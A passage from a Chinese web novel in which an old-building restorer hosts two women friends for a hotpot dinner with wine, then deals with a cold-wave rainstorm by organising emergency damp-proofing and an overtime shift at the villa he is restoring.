他问什么是‘直男’。 她说直男就是考虑太少且角度单一。 挂断电话后,一股身处现代社会的荒谬感悄然造访。 ...... 回家先洗了个澡,翻翻找找,硬是没有一套休闲服装。 在工装短袖和睡衣之间稍作判断,选择了前者。 暖色灯光铺垫在客厅旧地板,他家是套00年交付的商品房,八十五平米的格局里,客厅是比较敞亮的地方: 客厅中央摆着张 l型布面沙发,布料磨得发亮的地方透露底下卡其色的绒面; 沙发前的玻璃茶几边角包着防撞条,是前房主留下的产物,想必有了孩子后家也跟着升了个级别; 电视背景墙旁边到阳台之间,是空间规格差不多的餐桌所在地,桌上工程图纸还没来地及收。 倘若四五个人在这片空间吃饭的话...... 陆砚打量着,或要把桌子往客厅那边挪一挪。 石英钟‘咔嗒、咔嗒’走到七点,刚买的食材放桌上解冻,陆砚在等人。 即使空间沉默,因为抱着与她相见的期待,于是,一个人的等待也是幸福的。 楼道里终于传来高跟鞋的声音,‘嗒、嗒’在水泥台阶上敲出节奏——他家在二楼一般用不上电梯。 “陆师傅!” 是顾南乔清脆的喊声,而且听起来人还没到门口就提前呼唤他开门。 还是这么藏不住事呢,大律师! “咔哒!” 二女一前一后如期而至。 主人、宾客皆笑脸相迎。 “喔唷?现在喜欢这个牌子的酒啦?” 白色工字背心外面搭黑色西装式短袖外套,嗯,还加了垫肩。 背心下摆被随意打了个结,露出的腰线和脚踝上的宝格丽蛇形脚链形成利落呼应。 若不是双手各拧着红酒瓶,这打扮谁认得出来是顾乔乔呢? “它的瓶子拿着手感好,还结实。” 得,是她没错了。 “晚上好呀。” “晚......” 顾南乔一个侧身露出后头的杨灵。 瞬间,陆砚知道,自认识以来除开不小心用糯米胶吓到她那次,眼下绝对是最大的危机时刻! 薄荷绿眼影、樱花粉腮红,嘴唇像一口咬破草莓般红润。 同款薄荷绿西装外套,里面是loewe的淡紫色真丝吊带,露出与平时穿白衬衫截然不同的暴露线条。 他呆住了。 再瞅瞅,嗯,领口的蕾丝花边像被风吹皱的薰衣草田。 荒诞......又和谐。 一个声音歇斯底里地呼嚎: 快夸赞,快夸呀!杨小姐‘记仇’的性子又不是不了解,你还想不想好好吃顿晚饭了?! “哇,这......杨小姐今天简直让人眼前一亮!” “...” “...” “晚上好?”男人试图挽回。 ...... 杨灵没有因为对方的低情商发言而进门第一时间卸妆,只是悄悄记小本本,先平静过完今天再说。 何况,作为美女的信念和顾南乔的鼓励......好吧主要是前者支撑着她,面对异样眼光要保持淡然。 于是乎,电视上在放动物世界,讲述‘虎啸非洲’的壮阔岁月。 和顾南乔坐在沙发,客厅开着空调;陆砚在给红酒醒酒,可以预见厨房会是其第二阵地。 这次她才有空打量这片空间: 沙发角落的一枚纽扣、每个饱满程度不同的靠垫和茶几下面封面沾着油渍的《营造法式》,似乎背后都有一段故事等待讲述。 有机会她愿意听听,他也必须讲。 纵使平淡的事经由那张嘴也会有趣的。 “我去厨房帮——” “坐着!” “...” ‘罗恩和朱莉渐渐意识到平静的日子已被打破,更加充满挑战的生活正等着它们......’ 两只老虎已经学会了自己捕猎,而自己却受限于闺蜜只能坐着干等食物上桌,这叫她想到了‘反应条件与环境影响’中,‘自由基的链式反应’。 可是顾南乔不懂,她也无从倾诉这一刻,于是等待。 厨房里翻炒声将近五、六分钟,家的感觉却一下从锅铲和锅的碰撞中创造出来。 她伸了个懒腰,绷直一天的背轻轻侧靠在最信任的人身上,若是就此睡去想必也不赖。 “两位,自己拿碗筷准备开饭!” 厨房做饭实在闷得慌,刚洗完澡的陆砚感觉脸上有一层油烟附着上面—— 现在他决定将这种感受和洗碗时的难受并列同级别。 “陆师傅好手艺,一次只做一道菜是生怕被我们偷学过去了吗?” 两人没去厨房,而是围观热闹似的看着他。 她的吐槽让人想起了钻石,一生只送一个人的那种,用在此时讽刺感更强了...... 乍听这人说话实在不知好歹。 不过如若人家拧了两瓶高档红酒上门,咳咳,这话倒也说得过去。 三个人一道菜确实寒酸,可不是有火锅呢嘛! 陆砚先看顾南乔,再看向杨灵: 前者嘴上不饶人却是主动伸手帮忙端菜;后者没有说话只是一个劲盯着他,紫色吊带遮不住的地方充满致命吸引力。 “顾乔乔你端稳咯,这是你陆哥可能再也不能复刻的经典之作。杨灵灵你来一下,看看哪款蔬菜汁是你常喝的。” “...” “好呀。” 一个和‘顾乔乔’对称的外号,杨小姐没有抗拒,愉快接受了去。 曾经他以为蔬菜汁是各种蔬菜榨汁的集合,买完榨汁机后一搜做法傻了眼,用料之丰富和营养搭配之复杂属实超出想象。 为什么明明加了牛奶和水果,它要叫蔬菜汁啊! 后又专门到大超市买了成品回来。 包装上宣称当天鲜榨,应该经得起严谨的科研人实测吧? ...... 陆砚终于明白了‘直男’的含义了。 而且,顾姐骂得没毛病。 他,陆砚,就是钢筋混泥土加固的大直男。 从一个褐色盒子里看到盛放三只高脚杯的时候,杨灵已经端起了蔬菜汁。 一切都来不及了。 “干杯!” “干杯。” “碰一个!” 两支红酒杯、一个玻璃杯来了个亲密无间的碰撞,发出‘砰’的一声,像某个心碎掉了一样。 尽管他只做了道番茄炒牛肉,权当致敬老陆的番茄鱼了。 旁边还有足以招待四五个人的火锅食材后以为继。 锅里冒着热气。 陆砚作为东道主必须抛砖引玉: “虾滑,和老板画的饼一样,看着圆润饱满、嚼起来全是空气,顾乔乔你多吃。” 陆砚用汤勺团了大块饼状下锅,加之是清汤,怕吃起来真该淡得像‘空气’。 “谢谢侬~” “陆砚,我呢。”杨灵问。 “你是我老板,你得给我画饼吃。” 谁说不发工资就不能是老板了?有权管着的,都算老板。 “灵灵把外套脱了,吃火锅热。”顾南乔适时鼓动,深谙投桃报李之道。 但下一刻,陆砚把烫好的‘饼’一分为二,放到二女碗中,顾姓女子却不乐意了: “喂,连‘老板画的饼’都要对半砍,也太黑了吧!” “这是为你好,连杨灵都怕吃多了长胖,饭后打羽毛球。你天天坐着不动也要注意呀!” 一句话设下多个雷点的本意是引起对方吐槽,活跃气氛,却不想歪打正着了去...... 第五十七章 杯莫停 “打羽毛球?和你?” “区区不才,正是在下。” “...” 杨灵想了想,还是把虾滑夹到顾南乔碗里。 非众所周知,虾滑压根没多少脂肪,相反还是优质蛋白,美女吃起来毫无负担。 她明白,她只是在做最后挽救。 “好好好。” 顾姓女子起身就奔向第三只孤零零的高脚杯,拿过来‘碰’地磕桌上。 “自己倒还是我帮你?” 言辞之凿凿,犹如确定‘人必须吃饭’一样,此刻杨灵必须喝酒。 在陆砚眼里,这个女人、他兄弟简直帅呆了,若此行功成,愿拜作......算了。 虽然不知道突然发生了什么,但顾南乔就这样子,他相信事态远在掌控之中。 而杨灵眼里,这个女人、最要好的朋友,真有生气的可能。 她无论如何也不愿看到。 哪怕对方只有百分之一的伤心,也必须安抚。 “谢谢乔乔,我来吧。” 薄荷绿眼影下,是陆砚不曾想过、见过的,尴尬且带着三分讨好的笑容。 “什么情况?咱们顾小姐这么大气量的女子这么严肃搞么子咯?” 他从对方手里接过酒瓶,示意两人先坐。 而咱们顾小姐确实大方,从不生好朋友闷气,当下一口气把原委吐出来: “好侬个杨灵小姑娘,从生到大都体育没拿过 b-,我喊了你几化趟要运动、要多锻炼,注意the work-life balance,侬就是勿动。现在看到男人了倒主动巴上去打羽毛球了,侬会打伐啦就跑去了?轮到我一片好心侬倒看不见了......(我喊你锻炼你不动,遇到男人倒贴)” 一通妙语连珠扫射,打得对面像鸵鸟缩着头不敢动。 陆砚赶紧给她倒了小半杯,使眼色,看着打了霜的杨小姐尽量忍住没笑出来。 然后在杨灵姿态诚恳和他的斡旋下,三人又碰杯。 “这点不够我跟你说,陆砚一边呆着去,让灵灵自己倒!” 抽张纸巾擦去嘴边红酒渍,她说。 明眼人都看得出来,情绪度过了最剧烈的爆发期,进入裂痕弥补环节,他当然作壁上咯。 只见杨灵一边道‘好’一边倒酒,顺带还起身去闺蜜那边添了些,言行间尽是恭顺之意。 唯一可惜的是把陆砚这里忽略了,也就想想罢,事后找他算账肯轻轻落下都算杨小姐大度。 杨小姐大度吗? 存疑。 于是陆砚放弃幻想。 “咳咳,这边也点上一点,厚此薄彼的教训咱们吃一次就够了。” 看向杨灵,杨灵拿着酒瓶即将落座、瞪大眼睛回看这边。 这双眼睛一瞬间从震惊到嗔怪最后转变为幽怨,不过还是给面子,拢过来轻轻斟了一下,酒香混着身上的幽香顿时钻入鼻腔。 好好好,这下被事后记一笔也不亏了! “哦哟,陆大爷好兴致,使唤人家半点不客气,是哪里的待客之道?” 见顾南乔释放信号,表示那件事暂过,杨灵顿时腰杆硬了。 讲真,对上陆砚她迄今为止还没软过! 指的是态度上。 “陆砚你刚才太过分了!” 责怪声响起,内里却像撒娇。 陆砚从谏如流,连忙称‘是’。 勾腰起身,面带笑容,拿过酒瓶决心不能让对方‘吃亏’。 “......这边不用,给乔乔加吧。” 陆砚和顾南乔顿时一乐,喝酒兴致全上来了。 “来,顾乔乔,今儿个沾您的光!” “这句话像样子,你小子难得诚实一回~” 两人说着话,眼睛却都往杨灵身上瞟,意味着什么不言而喻。 劝酒呗! “砰!” “碰!” 高脚杯今晚第三度撞响,他们才拿起筷子回应陆师傅的手艺。 ...... 天气预报说寒潮今天夜里就来。 老金要把一批黏土挪到背风处覆上塑料布保暖,还得把窑洞口封住,以免冷空气灌进去干燥失水。 天开始不亮了,隔壁铺子后面传来锅铲翻炒的烟火气。 按开后院的灯,老人脚步悠悠,却是想着三天前、自己家也开火做饭的那天晚上。 时间越来越快,国庆又过完了。 自己这铺子,也是一年比一年冷清。 从前拥趸无数,现在门可罗雀,老人开始习惯这样的日子。 坦然接受成为时代遗骨的事实。 上无老,没有来处;下无小,没有归途。 狷狂过,潇洒过,风流过,遗憾过。 唯独没有后悔。 有的事情只能有一次,一句承诺便是一生执着。 用在青砖手艺上也适用! ...... 杨灵眼瞅着局势不对——而且闺蜜切切实实消气了——决定临阵倒戈。 “来灵灵,再陪姐姐喝一个,咱们好久没这样喝酒了。” 顾南乔讲她们高中同班那会,杨灵体测不合格差点毕不了业的糗事,顺带一并抖露‘这位姑娘从小到大都是学霸梯队里吊车尾’的事迹。 美国的成绩考核有体育,真是对杨灵版本性的大削弱。 她今晚喝得急,属于熟人局的喝法,面颊已有大片酡红。 此刻意图搂着杨灵用杯子往她口里喂酒,杨灵自然不肯。 轻轻挣开,拖曳椅子,连人带座椅一并搬到陆砚旁边,娇弱倚靠身后。 诸位,如果心仪的女子主动凑到你旁边、穿吊带、可怜兮兮仰视你,你会怎么选? 庇护有效! “我帮她喝!” 现在他胸膛燃烧着一团温和的火焰,又暖又满却不难受,看向身边女子的时候尤为心热。 而顾南乔视角里,闺蜜茶里茶气借酒精上头主动凑过去、两人手臂几乎贴在一起,彻底不矜持了。 证据就是,陆砚身后冒出半个脑袋,对着她眨了眨。 像在说,我男朋友帮我喝! 后面狐狸尾巴一晃一晃的,沉默震耳欲聋! “灵灵酒量没那么差,陆砚你听我的,让她自己喝。” 顾大律师冷静拆解场上局面。 做诉讼辩护的时候,先绕过对方的倚仗逼迫对簿公堂方为上上策。 “不行,你帮我喝~” 感觉有一只手抓住袖口,她把自己的杯子递到陆砚嘴边。 这哪还管她真能喝假能喝的,都是哥的! 哥都给你喝了! “这个......哈哈你懂的,咱们俩尽兴就好。” 顾南乔不是男人,也不是敌人,陆砚得温文尔雅地劝。 而身后的杨灵...... 确实一脸得意看向闺蜜,笑得差点把头靠到他肩膀上。 夜色悄然给事物蒙上神秘的纱,时间在这之中悄然流逝。 ‘所以,有什么不开心的呢?顾小姐。’ ‘算了,你们俩开心就好。’ 眼神交错间,双方达成了共识。 “砰!” “砰!” 两个喝得最多却最清醒的人心里门清,很多事情双方能做的只有陪伴,于是有了今天专门为顾南乔办的酒局。 唯一例外的是,杨灵有点小醉了。 ...... 只是唯二例外的是,今天她们要留宿这里。 陆砚慢慢踱出小区门,给她们买洗漱用品和毛巾。 突兀冷风划过,气温有降下来的趋势。 他在大润发日用品区内考虑究竟是买一次性睡衣还是加绒款。 故事里一个简单的场景落在生活中,便有无数细小的问题需要考虑,陆砚带着微醺的头脑在超市一遍遍逛着。 第五十八章 家里有人等 房子是两室一厅的格局。 把自己的主卧让出去后,将近一点钟才搞好洗漱,穿着睡衣在沙发上等头发干。 反正短发用不了多久,要是半夜用吹风机把‘鸠占鹊巢’的两女吵醒,那就罪过了。 客厅半开的纱窗外瞧不见月亮,寒潮携北方冷空气将会在明天降下大雨,好在老洋房做了隔离防护。 但这并不保险,他想。 起身将纱窗关小了点,这时,身后房门闭合声十分突兀。 是杨灵。 她穿着印有小鲨鱼图案的居家睡衣——顾南乔给的意见,但此时看得并不清晰——挪向客厅。 “还没睡吗?亲爱的朋友。” 陆砚猜她已经睡一觉了,现在是起来找水喝? 不对,水杯已经放床头柜了呀。 “陆砚?把手机给我。” “......好。” 原来是醉得快醒酒也快的体质。 杨灵径直走来,和他同款沐浴露的味道叫人生不起抗拒心。 身材无疑是高挑的,面前人影恰齐鼻尖。 陆砚笑容酝酿一半、还不待再开口,她已经接过手机走向厕所。 “...” 不久,厕所放起不大不小、舒缓的音乐声。 所以这就是女孩子的矜持吗? 陆砚感叹,细节简直了。 十一点半的买完东西回来,陆砚进去给杨灵送牛奶,牛奶是她家里拿的,换完睡衣迷迷糊糊的杨小姐脸上赫然印着个口红印。 当时他吓了一跳。 随即反应过来,又暗自庆幸顾南乔不构成威胁。 不知道杨灵现在发现没有。 马桶冲水声结束半分钟了,音乐换了首抒情歌,里面迟迟没有开门。 是在查看手机还是睡着了? 此时......不好出声问。 而且上次不是抽查过了吗?她一个刚刚醒酒的人还有闲工夫再看一遍? 又切了首歌。 这排除了对方睡在厕所的可能。 刚要放下心——林晚声的声音从里面飘了出来。 是以前发的一首demo。 她说: “陆砚你知道吗?” 轻柔的指弹随之响起,像夜间的微风拂过脸颊。 “他把很多/质朴的真相/告诉了我们/可生活的贫瘠/总让我怀疑/或许这就是爱的代价。” 隔着门框的光亮,客厅不明也不暗。 连他自己都感到意外,刚才不过30秒的小样就藏在手机某个角落、如今以这样的形式再度响起,传进彼此心里。 是什么时候写的歌? 什么时候,她会写这样意味不明的苦情歌了? 关灯,开门,两人隔着朦胧,四目相对。 许是大眼睛更反光,她的眸子陆砚看得很清晰。 “晚上好,杨灵女士,现在感觉怎么样?” “嗯......杨灵女士认为上厕所的时候守在外面的男人有点不绅士。当然你有个说得过去的理由。”她把手机递过来。 也顺带把所谓‘合理守在门口的理由’递了过来。 似乎哪里不对,但现在不是计较的时候。 因为眼前的女人大概率会在不久后成为他的女朋友,这或许就像到了秋天、麦子成熟一样水到渠成。 所以他说: “要喝水吗?或者牛奶?正好我没睡还可以帮你。” 不知不觉,腿已经领着他来到女人身前,鼻尖熟悉的气味告诉他,‘已进入亲密距离’。 但对方没有半点旖旎的心思。 “不喝,乔乔一会也要起来,你快回房间。” 温热小手推着他转了个身往回走,直到被送进房间的时候,身后才小声传来‘晚安’。 “晚安。”他如是回道。 “晚安!”顾南乔隔着门也回道。 ...... 昨天买的加绒睡衣十分应景,剩下的九十分陆砚全给这令人留恋早餐氛围。 “完了!在我们那边,被男人看到素颜的话此生非他不嫁!” “什么这边那边的,静安区还有这规定?” 其实如果有这规定、且大家都不介意的话,他勉强娶两三个也行。 三人围在昨天吃饭的餐桌上吃陆砚冒着大雨买回来的早点。 寒潮,大降温。 一夜暴雨后,不少路段积水深至脚踝。 “陆砚把你外套给我,今天好冷。” 杨灵早上洗漱的时候才发现脸上有个大大的口红印,得亏昨天晚上没开灯,不然又得丢脸了。 细数下来这十二个小时简直...... 先是一身连自己反复适应都觉得‘个性张扬’的装扮,后又被乔乔抓个正着、陪着喝酒,然后是口红印。 她并不介意快点褪去形象光环,让陆砚看到真实的自己。 但也不能全看糟糕的一面啊! 穿上对方的外套后,她主动承担起泡牛奶的任务。 “陆师傅,你就只有一个客人、一件外套吗?” 顾南乔用字正腔圆的播音腔念经,怎么听都是阴阳怪气的内涵。 只能说真有活力! “你有那么帅的西装外套还不够啊?” 而且还是有垫肩的西装外套,这样式的,有再穿一件的空间吗? “让人发冷的不是穿不暖,而是薄凉的人心。” “...” 她认真悲伤的嘴脸,就仿佛忘了是谁撑着伞顶起大风大雨下去买的早餐,就仿佛忘了是谁才嚷着‘非你不嫁’的言论。 陆砚能翻旧账吗? 能。 但是杨灵在,暂时忍着。 接过端来的温热牛奶,尽管早餐吃得差不多了她才想起来,但据某律师所言,行动的意义大于行动本身。 遂这顿早餐的成绩,陆砚决定冠以他们俩的名。 顾乔乔被排挤啦! “今天橙色预警,你们该申请远程办公的申请,该请假的请个假呗。”陆砚说。 “顾某附议。” “你呢?” 时间八点半,陆砚穿戴整齐一副出门的样子,杨灵对此有点意见。 但她向来不形于色。 “对我来说是小风小雨,不影响工作。” “顾某有异议!” “请讲。” “这种天气还不主动放假的老板要被员工背后蛐蛐好久。” 有道理! 听罢,把手机递给顾某,叫她看清楚状况。 【古建再生事务所(8)】 张野:真他奈奈的冷今天,好几家早餐店没开门。 冯小军:张师傅也上早八?早上好! 张野:军儿别说些为师听不懂的话,今天天气不好,你来的路上小心别把我的早餐打湿了(憨笑.jpg)。 冯小军:天气不好不是应该休息吗? 张野:休息?休息是留给死人的!这就是你张哥教你的第一课! 赵立言:收到。 然而据陆砚所知,此话是当初他激励张哥接着喝酒,才说的。 而且张哥大概国庆期间超前消费了一波,这月开销紧,上进心也就有了。 “谢谢,请帮我转告张野这小子,等着收律师函吧!”顾南乔头一撇甚是不忿。 所以,他有不得不出门的理由。 “灵灵你干嘛?” “上班呀。” 回头看,杨灵提着包竟也准备跟着出去。 陆砚顿时就不乐意了。 “外头车都没一辆,你个小姑娘请请假不行吗。” 好歹是特聘专家待遇,不至于吧? “反正每天要去洋房那边的,顺带搭你顺风车呗。”杨小姐穿鞋子头也不抬如是说。 “然后晚上顺便搭顺风车回来对吧?”顾律师一向推断能力很好,“是7度,不是七度空间,外面这天气你穿个外套往老洋房跑,为爱发热?是陆砚给你发工资吗?” 虽然陆砚被拿来说事,但他非常支持这个说法。 再说了,根据劳动法规定,特殊天气情况有请假权力,您单位正儿八经的福利待遇好,何必这么拼呢? “可是......我觉得还好,要是冷的话我就回去换套衣服。” 唯独面对顾南乔时,她底气不足。 然而陆砚并没有意识到这点,还在跟团。 “就这么定了,两位想吃什么?到时候我带回来。” “怎么就定了!上次说了装监测器你就是不听,明明在家就能完成的工作偏要固执......” 她说着,话里异样的情绪,难以确认。 添加上微信到上一秒为止,杨灵从没有站过他的对立面,更毋论这突如其来的举动。 初次在工作责任和对方情绪之间抉择,陆砚不知所措。 好在一旁有顾南乔。 边说‘好啦好啦’,边拉着杨灵往房间走。 走的时候回头说:“灵灵也是关心你,去一个上午就行了,中午带点海鲜粥哈~” “......好,知道了。” 总是理性的杨灵当时是怎样的心情? 不知道。 直到多年以后的某个清晨,每每回想起这一刻,便足以唤起陆砚向善的意志。 第五十九章 女人会道歉是好习惯 新华路行道树的最后一批初秋梧桐叶,本还泛着焦糖色的边缘,此刻被西北来的风拧成碎纸。 街角修鞋匠的帆布棚被风扯开道口子,挂在棚顶的皮鞋样品在雨里晃荡。 早上九点的风,刮过街角老洋房的老虎窗,玻璃震颤的声响掺在雨幕中没了音信。 还好清水墙修复没开始动工,陆砚驾驶皮卡趟过路面积水,终于将车稳稳停在洋房门口。 撑伞,下掉后挡板、开闸放水,进门。 张野、冯小军和苏棠在客厅各个位置呆着,小赵不参与彩绘以外的事项,老周没来。 “陆哥。” “都吃了没?” 陆砚把带水珠的伞放门口垫子上,打量一圈,松了口气。 墙面腻子层不至于返潮,彩绘玻璃在房檐、雨挡保护下亦没有渗水情况。 “吃了,都吃了。陆师傅咱们今天做什么?” 天虽冷,冯小军热情不减,因为他可以换个事项参与实习了。 平时做杂物、写记录的枯燥训练总归是让少年难熬的。 再度瞧了瞧,结合经验判断说: “门窗关好了没?你和苏棠检查下地面起拱状况,张野跟我去楼上看榫卯。” 四人两两一组展开初步排查,陆砚突然想到还没采购应急设备和物品...... 像电箱、抽水泵、电热毯之类的,不是这种时候谁又留意得到呢? 就像购物小票,就像采购之于团队,只有物品缺失了才会突然想起。 今天走之前得再跟苏棠培训一下...... 老洋房屋顶多为坡顶,顶楼木构件是渗漏的‘第一接触点’,理当自上而下沿着排查。 他们要先检查防水层老化或瓦片破损状况。 张野今天格外沉默。 “张哥,说话。” “牙打颤。”他肢体有点僵硬,扯出个笑脸说。 陆砚方才看出端倪。 薄薄的春季外套、里面是件短袖,单裤里头肯定再无任何保暖衣物。 “十天前就提醒你买衣服,结果你选择了买酒。”拍了拍他,确实穿少了,“工作的时候不能喝酒很意外吧?” “卧槽,你别损了。” 嗯,句子长度都变短了,热胀冷缩诚不欺我。 他们登上顶层阁楼,微微湿润的空气里藏着股霉味,但并无明显渗水痕迹。 捏了捏梁柱、侧柱,没有任何异响;木构件表面微微潮湿,但没到发软的程度。 外面下着雨,这种情况得先室内除湿延缓霉菌滋生。 陆砚从工具箱翻出几个没开封的硅胶干燥剂——之前没用完的——逐次摆到木构件旁边。 张野则微信对冯小军喊话,让送几个防潮垫上来。 哦对了,防潮垫没买,用之前的塑料布片将就代替吧。 都说实战最锻炼人,其实是应对实际问题最使人成长。 团队少人的作战他还是头一次打,好在情况没特别糟糕、尚且来得及弥补就是了。 ...... 买完海鲜粥和一些配菜,陆砚回来的路上慢慢从工作脑脱离,考虑该不该重视早上的插曲。 事态若有个分明的对错其实更好处理,独独有些可好可坏的情况,最是考验人。 这便是情感里的‘实战’。 其实像多数男人那样,当作无事发生生活一样过得去,甚至会让两人都轻松些。 ......便是实战中的糊弄。 恋爱前后的女人尤为敏感,万一杨灵死磕在这了,怎么办? 所以,某些下意识回避的打法看似复杂、麻烦,却是最直接、最简洁的路。 按响门铃,门口站了会,杨灵把门打开。 “这一幕还是让我心生感慨,杨小姐。” “中午好,为什么感慨呢?” 虽然家里开了空调,她也穿着陆砚的外套,于是陆砚更加感慨了。 “回家的时候是你帮我开门,免得掏钥匙了,可不得有感而发吗~” 对方浅浅笑着,伸手接过袋子,后侧身让他进去。 “陆师傅,怎么才回来!海鲜粥买了没?” 顾南乔的声音从他房里出来,俨然把他当外卖小哥的架势。 还不给跑路费的那种! “快,咱们先吃,吃剩的留给顾乔乔。” “好~” 房间门开,出来一位穿拖鞋叉着腰、若不是受高颜值拖累,架势定不差‘包租婆’。 “好个陆砚,人家怕贼人入窃、好心帮看房子,你不给报酬就算了,还叫我吃剩饭剩菜!” 她说着就把自己给催眠了,抬手就是一记如来神掌打他肩上。 “啪!” 把气氛炒得暖洋洋的。 这叫他怎么说早上的事?贸然开口不是大煞风景了嘛。 三盒粥两盒菜和小甜品摆桌上,三人便在外面寒冬、里面26度的舒适环境下一齐用餐。 “刚怎么在我房间?你这律师,侵犯隐私权了吧?” 海参粥68一碗,顾乔乔和杨灵的那份128,半天工作的收入就这样转化成了午餐。 换个角度想,好像没亏一分钱耶。 只两个‘老婆’就如此开销,三个的话可能得派其中一个出去赚钱,才运转得下去。 “你的房间昨晚怎么不睡里面?” 律师爱讲逻辑,但是女人不讲。 明显现在非上班时间,对方暂时无敌。 这时,杨灵给他夹了一筷子小菜。 陆砚以为是叫他‘闭嘴’,毕竟有时候‘吃菜’就会有这样的意思。 却不想她说: “我有起床气,早上不该冲你发脾气的。” 原来是道歉啊。 毕竟有时候‘吃菜’就会有这样的意思。 “我已经说过灵灵了,你可不准再说了,听见没有?” 这话听着耳熟,有酸螃蟹味。 而且他本就不会计较啊,这个顾乔乔,把他搞成一副坏人的既视感干什么! “杨小姐,干杯~” 陆砚捧起碗,杨灵有样学样,两人一笑泯恩仇。 ...... 杨灵只请了半天假,午饭结束后便散了。 目送两人离开,陆砚准备去老金那边看看。 下午的雨势稍稍变小,至少前窗雨刮器可以游刃有余工作了。 虬江路的铺子比以往更加冷清,老金的青砖铺子在冷清中迎来了这天第一个‘顾客’,他准备买一批应急物品,顺便把期款结给他。 砖瓦下的门脸被雨水冲洗过后焕然一新。 铺子没人。 “老金!”陆砚大声喊道,怕他听不见。 “我倒要看看是多大的老板,嗓门这么大。” 老金掀开门帘走出来,没抽烟手里也没书刊,不知道在后头做什么。 “哦哟,原来是陆总,失敬失敬。” 熟悉的捧杀,熟悉的对话固定流程。 废了几句话功夫才从‘高台上’下来,以晚辈姿态同他对话。 又绕了个圈子,才把想说的话、想做的事全盘托出。 和劝小区刘师傅那会不同,老金看起来不耐烦、其实有的是耐心和性子跟你绕着聊天。 说是什么?开动大脑、延缓衰老! “有现成的你一会先拿走,没现成的等过几天叫人跟你送去,老洋房是吧?嘿嘿,又是那地方......” 陆砚手里拿着报价单准备银行卡当场汇款,却不想上面的价额和预计有点偏差。 “老金,这批货有点价格太低了吧......搞得真有点不好意思啦。” 如果平时是9.5折到9折,那么这次一下砍到了7折,其中优惠力度之大不可谓不恐怖。 虽说青砖利润率是挺大的,但手艺和人工可比材料贵多了。 这钱他们收得很合理! “去去去,杨丫头都领来了,我还能赚你那几个钱?得了便宜别卖乖,好的不学尽学些没用的......” 权当老爷子抬爱吧。 只是把准女友带来吃了顿饭就变着由头给折扣,陆砚心里暗自记下这份情谊。 接下来拐着弯的俏皮话说得更带劲了。 第六十章 加班开始 若说古建‘工作环境差’是指客观环境的话,定是不全面的。 遇到突发状况而紧急加班、倒班以及阶段性随时待命,严格来说也属于‘工作环境’的范畴。 今夜紧急加班,加班人员: 陆砚、张野、冯小军,以及主动申请参加的苏棠。 按照约定,加班有额外补贴。 接着,他在工作日志上写道—— 加班内容:应对空气湿度陡然变大而开启老洋房现场紧急维护措施。 ...... “在过去,吸湿材料老匠人用的是竹炭与生石灰,放一个陶罐里每日搅拌,三天一换。” 傍晚六点的时候雨势又大了,眼瞅着外面‘沙沙’的声音、混响渐强,变为‘哗哗’声。 再一看气温,3度! 陆砚终于按捺不住宣发了加班通知。 “现在科技进步了,我们一个硅胶干燥剂全搞定!” 他说着,以此佐证他们是与时俱进的。 大厅到处铺着、裹着白色布片保护罩,他们围一起或站着、或坐着。 对兴致盎然的人来说,此刻好不像学生时代的围炉夜话。 “陆师傅,空气除湿机不是更好嘛?” 场上没‘外人’,苏棠打起自己人的脸毫不留情,仿佛加班就是为了此刻而来。 陆砚不是杨老头,自然晓得这种物件的效用: “苏同学,实战和理论最大的区别就是方案落实的可行性,你别看这老房子挺硬朗的,哪个晓得电路是不是那回事?再说了,每个房间扔一个,多奢侈啊?” “陆哥,拼兮兮上面99.9直接拿下,没那么贵。” 冯小军是护花使者,此刻不畏强权跳出来——前提是能确定陆砚不会生气。 好家伙全是单线脑. 登陆月球是放烟花?有问题就扑上去解决问题,全然不考虑怎么下来的吗? 家用除湿和工业除湿功效能一样?设备一大堆是不是还要整个仓库? 懒得喷。 对了,目前他们的工具统一放历史建筑保护中心设备托管库,经济实惠! “听说以前室内点火盆保暖祛湿,可惜现在不让了。” 买保暖内衣后,张野在晚上又‘活了’过来,不过话里话外透露着冷意。 没酒后来加班就是好的,陆砚欣慰想着。 “您猜猜为什么不让了?门窗紧闭、点火盆,可不得一氧化碳中毒吗。” 冯小军杀疯了,连自家师父都没放过。 好,根据鲇鱼效应,他会充分激发团队活力、让这个晚上不那么无聊。 门缝渗着丝丝寒气,四人赶到老洋房闲聊了会,便开始今晚任务。 首先是关键指标监测: 盯着老洋房温差大的地方,避免因热桥效应导致局部结冰; 再就是构件含水率管控,外墙暂时不管,若木构件含水率增幅过大,则要想办法强制降下来。 除此外,屋面天沟是否积水,落水管是否堵塞、冻堵等诸多小事,都需要巡查。 暂定为三小时复核一次。 加班被这样拉长、且中间空挡很多的情形下,闲聊成了值班的次级旋律。 木地板发出‘吱呀、吱呀’的呻吟,雨势不减、风头正盛,墙上的两道人影渐渐清晰。 “陆师傅,外面湿度百分之百耶。” “废话,下着雨可不就全湿了嘛!” 跟着上阁楼的是苏棠,灯没反应,她在后面打手电。 “你态度能不能好点,自愿加班的实习生难道不值得优待吗?” 好好好,确实在理,还真没得挑刺。 “不好意思,习惯了。” “......你该反思一下,是怎么养成的坏习惯。” 倘若对方是杨灵的话,陆砚沿着话头一直聊下去,而且会是条有趣的对话旅程。 可苏棠不是杨灵,那陆砚只能当一个无趣的男人以确保两者之间纯洁的关系。 “阁楼是最高点,也是雨水第一接触点,你晓得我在说什么不?” 聊专业总够纯洁了吧? 还有,一会交代她试选后勤用品,由他把关。 顺带连老金那边的货单给她一起录入,如此便有得忙了。 “谁晓得你说的是受力传递路径还是渗漏路径,反正这里有股发霉的味,难闻死了。” “诶啊!说到发霉,那个新闻你看了吗?黄浦区有个老房子顶楼椽子腐烂没人发现,结果两年后,二楼客厅吊顶塌了。” 为什么追不到女神? 部分是因为不自信、导致自我设限从而影响发挥。 苏棠不是陆砚的女神,但陆砚是自我设限的男人。 因而无趣。 ...... “说起这个湿度,军儿你记好了,太干了不行,要裂开;太湿了更不行,要长霉!” “...” 冯小军本不想回怼,可半小时排查过去后不讲点什么又太无聊,索性耐心喷上一喷: “张师傅,您的教学无限接近我们学院就业指导老师的授课水平了。” 不知不觉他向着苏棠之于陆砚的说话风格发展,大概属于同期实习生的影响和模仿吧。 “哦?怎么说?” 本来就是随口一教,但这小子捧得他舒坦,怪不好意思的。 嘿嘿,大学老师,文化人捏。 “水得一笔。” “你踏马的,逆徒,真真逆徒。” 笑骂一句提提神,一楼起拱情况差不多确认没问题。 ‘水得一笔’,其实按照陆砚当初的原话,应该是: 石膏浮雕、麻纤维墙纸在湿度 100%环境中 24小时内即可滋生霉菌,表面出现青黑色霉斑; 木雕花饰的缝隙处因积水形成‘微环境’,霉菌孢子快速繁殖。 整段记住是不可能的。 但张野是个善于抓重点和总结的人,冯小军还是太年轻,领悟不到他的谆谆教导。 